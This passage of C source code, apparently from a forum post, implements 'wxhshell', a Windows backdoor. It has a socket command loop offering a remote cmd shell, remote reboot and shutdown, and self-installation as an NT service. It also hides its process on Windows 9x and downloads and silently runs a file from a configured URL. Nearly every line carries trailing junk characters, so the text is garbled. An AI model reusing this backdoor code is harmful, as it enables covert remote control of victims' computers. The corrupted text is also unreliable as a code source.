  // 安装 vp#AD9h1  
  case 'i': { Fhr5)Z  
    if(Install()) SCUsDr+.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &E(KOfk#  
    else ^#Ruw?D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n!Dy-)!`O  
    break; IL\2?(&Z  
    } 1J tt\yq  
  // 卸载  r*gQGvc  
  case 'r': { (/oHj^>3N`  
    if(Uninstall()) z(yJ/~m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {imz1g;  
    else Z^'i16  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DviRD[+q"  
    break; d8o<Q 9   
    } qMj'%5/  
  // 显示 wxhshell 所在路径 $XOs(>~"r  
  case 'p': { y7?n;3U]CS  
    char svExeFile[MAX_PATH]; ioZ{2kK  
    strcpy(svExeFile,"\n\r"); YKk*QcAn  
      strcat(svExeFile,ExeFile); VPAi[<FzOG  
        send(wsh,svExeFile,strlen(svExeFile),0); :MIJfr>z  
    break; ?)# qBE ]  
    } (H/2{##  
  // 重启 J2ryYdo>  
  case 'b': { ROv(O;.Ty  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h:J0d~u  
    if(Boot(REBOOT)) h yPVt6Gkj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v*pN~}5  
    else { &ml7368@  
    closesocket(wsh); =[7[F)I~O  
    ExitThread(0); DF>LN%a~  
    } A5A4*.C  
    break; +;ILj<!Z7  
    } C1V@\mRi  
  // 关机 _(R1En1  
  case 'd': { a(qij&>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;nDCyn4i]  
    if(Boot(SHUTDOWN)) 3kc.U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]rpU3 3  
    else { R;6$lO8C&  
    closesocket(wsh); m4=[e!  
    ExitThread(0); qVvQ9?  
    } 6hW ~Q  
    break; WaaF;| ,(  
    } 2EU((Q`>=(  
  // 获取shell  3 )bC,  
  case 's': { [i&EUvo  
    CmdShell(wsh); lHTW e'  
    closesocket(wsh); Pa8E.<>  
    ExitThread(0); ^ |xSU_wa  
    break; rQuozbBb  
  }  ./iC  
  // 退出 b#17N2xkT  
  case 'x': { 91Fx0(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;E!(W=]*F  
    CloseIt(wsh); >l!#_a  
    break; ++HHUM  
    } \Y4>_Mk  
  // 离开 3 W%Bsqn  
  case 'q': { i$[wkQ>$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Al 0 i{.V  
    closesocket(wsh); `[&) X  
    WSACleanup(); 5f` a7R  
    exit(1); GmONhh(k  
    break; #DqVh!t"  
        } P Tc@MH)  
  } h^)R}jy+f  
  } YEbB3N  
hhqSfafUX  
  // 提示信息 vjzpU(Sq#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vz[-8m:f  
} e\[z Q 2Z3  
  } E/OJ}3Rf  
-$; h+9BO  
  return; b,k%n_&n  
} e Qz_,vTk  
? 0}M'L  
// shell模块句柄 >E9:3&[F  
int CmdShell(SOCKET sock) 4Z& i\#Q  
{ B*zR/?U^  
STARTUPINFO si; HZG^o^o1l+  
ZeroMemory(&si,sizeof(si)); dv_& ei  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m$bX;F}T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |2YkZ nJn  
PROCESS_INFORMATION ProcessInfo; sM4Qu./  
char cmdline[]="cmd"; {1<XOp#b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n0nvp@?7bJ  
  return 0; w6PKr^  
} J#```cB  
:c vZk|b%  
// 自身启动模式 FRSz3^Aw  
int StartFromService(void) ptCFW_UV  
{ /^F_~.u{  
typedef struct #)qn$&.H  
{  *b$8O  
  DWORD ExitStatus; (Ov{gj^  
  DWORD PebBaseAddress; )t$<FP  
  DWORD AffinityMask; /YyimG7  
  DWORD BasePriority; _D{V(c<WD  
  ULONG UniqueProcessId; XMR$I&;G8  
  ULONG InheritedFromUniqueProcessId; w;=fi}<G|e  
}   PROCESS_BASIC_INFORMATION; A<1:vV  
&V.\Svm8]  
PROCNTQSIP NtQueryInformationProcess; .[@TC@W  
({R-JkW: ;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l[MP|m#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~_!lx  
$,/;QP}  
  HANDLE             hProcess; QM"\;l??  
  PROCESS_BASIC_INFORMATION pbi; !vaS fL*]  
6;O fh   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,t2yw  
  if(NULL == hInst ) return 0; fAW(  
c7E|GZ2Hc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z ?3G`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P  -O& X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W -pN  
TL29{'4V  
  if (!NtQueryInformationProcess) return 0; +*O$]Hh  
>nqDUGnEo>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v>p UVM  
  if(!hProcess) return 0; &gP/<!#  
*an^ 0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L,(H(GeX  
< wI z8V  
  CloseHandle(hProcess); x)wlp{rLf  
~x!"(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y@T 0 jI  
if(hProcess==NULL) return 0; ut<0-  
i gyTvt!  
HMODULE hMod; 3@t&5UjwQ  
char procName[255]; )&nfV5@"  
unsigned long cbNeeded; GG9YAu  
w$D&LA}(M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h^H~q<R[T  
z'W8t|m}Pb  
  CloseHandle(hProcess); C1x"q9| \`  
mMz^I7$  
if(strstr(procName,"services")) return 1; // 以服务启动 y7x&/2  
oHW:s96e  
  return 0; // 注册表启动 FLb Q#c\  
} ~]d3 f  
||}k99y +  
// 主模块 Epl\(  
int StartWxhshell(LPSTR lpCmdLine) K5h2 ~  
{ | 4slG   
  SOCKET wsl; aJ4y%Gy?  
BOOL val=TRUE; fcim4dfP  
  int port=0; >dr34=(  
  struct sockaddr_in door; -$x5[6bN  
;Nd,K C0k  
  if(wscfg.ws_autoins) Install(); ]]EOCGZ"  
RF#S=X6  
port=atoi(lpCmdLine); 6*{sZMG  
P 2j"L#%  
if(port<=0) port=wscfg.ws_port; 8Hdm(>  
AjW5H*  
  WSADATA data; B@8M2Pl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -MCDX^ >P  
wWaJ%z>3y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K [.*8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e hgUp =  
  door.sin_family = AF_INET; Fm|h3.`V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l2&s4ERqSm  
  door.sin_port = htons(port); VJ8 " Q  
9On0om>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :vsF4  
closesocket(wsl); dYEsSFB m  
return 1; PQ#zF&gL9t  
} ~"Q24I  
zL%ruWNG  
  if(listen(wsl,2) == INVALID_SOCKET) { LGau!\  
closesocket(wsl); )6t=Bel  
return 1; (59u<F  
} u>K(m))5W3  
  Wxhshell(wsl); ]ZbZ]  
  WSACleanup(); f3p)Q<H>`(  
iE}Lw&x  
return 0; fH> I/%  
g5\EVcHkz  
} %mO.ur>21  
:Sd"~\N+  
// 以NT服务方式启动 KeGGF]=>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Os5Xejh`I  
{ 5C G ,l  
DWORD   status = 0; ~vL`[JiK  
  DWORD   specificError = 0xfffffff; O1 KT  
k*U(ln  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,drcJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *!wBn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;7HL/-  
  serviceStatus.dwWin32ExitCode     = 0; (L2:|1P)  
  serviceStatus.dwServiceSpecificExitCode = 0; 4e0/Q!o,  
  serviceStatus.dwCheckPoint       = 0; IHrG!owf  
  serviceStatus.dwWaitHint       = 0; KkCA*GS  
T2%{pcdV/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #guq/g$  
  if (hServiceStatusHandle==0) return; ZJod=^T  
B=R9K3f  
status = GetLastError(); 8M_p'AR\,y  
  if (status!=NO_ERROR) b}C6/ zW  
{ 9iwSE(},  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _'.YC<;  
    serviceStatus.dwCheckPoint       = 0; *oW^P~m/  
    serviceStatus.dwWaitHint       = 0; mDG=h6y"V  
    serviceStatus.dwWin32ExitCode     = status; hb,G'IU  
    serviceStatus.dwServiceSpecificExitCode = specificError; x,+2k6Wn!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )M: pg%  
    return; zDD1EycH  
  } SXJ]()L?[v  
(c'kZ9&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .O1Kwu  
  serviceStatus.dwCheckPoint       = 0; 9[9 ZI1*s  
  serviceStatus.dwWaitHint       = 0; M In6p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U7(t >/  
} mT3'kUZ}]  
VOa7qnh4:[  
// 处理NT服务事件,比如:启动、停止 #K4lnC2qz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (9A`[TRwi  
{ Wb;x eG  
switch(fdwControl) < 9 vS  
{ <jk.9$\$A  
case SERVICE_CONTROL_STOP: 6%^9`|3  
  serviceStatus.dwWin32ExitCode = 0; Vi5&%/Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R|,F C'  
  serviceStatus.dwCheckPoint   = 0; %z_L}L  
  serviceStatus.dwWaitHint     = 0; R oY"Haa  
  { vr$zYdV>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M#5*gWfq9  
  } !ot$Q  
  return; >~vZ+YO  
case SERVICE_CONTROL_PAUSE: tw*n+{]hi  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H*H=a  
  break; _-mJI+^/  
case SERVICE_CONTROL_CONTINUE: ]CnqPLqL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -:P`Rln  
  break; R3<2Z0lqy  
case SERVICE_CONTROL_INTERROGATE: (U GmbRf&  
  break; >+3tOv3:  
}; w<o#/J9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [? 1m6u;  
} YZHqy++x  
M6MtE_E  
// 标准应用程序主函数 f:K3 P[|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }vof| (Yh  
{ "x"y3v'  
.zMM!l3  
// 获取操作系统版本 -|/kg7IO\  
OsIsNt=GetOsVer(); NA<6s]Cs.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); % njcWVP;  
"{X_[  
  // 从命令行安装 n?EL\B   
  if(strpbrk(lpCmdLine,"iI")) Install(); /Sn>{ &  
]ICBNJ  
  // 下载执行文件 |Ox !tvyr  
if(wscfg.ws_downexe) { ~|!f6=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mz<wYV*  
  WinExec(wscfg.ws_filenam,SW_HIDE); QN'v]z  
} ZBf9Upg  
I~f8+DE)  
if(!OsIsNt) { -AX[vTB  
// 如果时win9x,隐藏进程并且设置为注册表启动 1}#RUqFrvS  
HideProc(); L74Sx0nk=  
StartWxhshell(lpCmdLine); 28jm*Cl8  
} L(ni6-  
else Q =!f,  
  if(StartFromService()) D,)^l@UP  
  // 以服务方式启动 I,Z'ed..  
  StartServiceCtrlDispatcher(DispatchTable); (+=TKI<=  
else ;xl_9Ht/  
  // 普通方式启动 LqOjVQxz  
  StartWxhshell(lpCmdLine); |#rP~Nj)  
<zdo%~ba  
return 0; h5>38Kd  
}
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只看该作者 1 发表于: 2006-10-10
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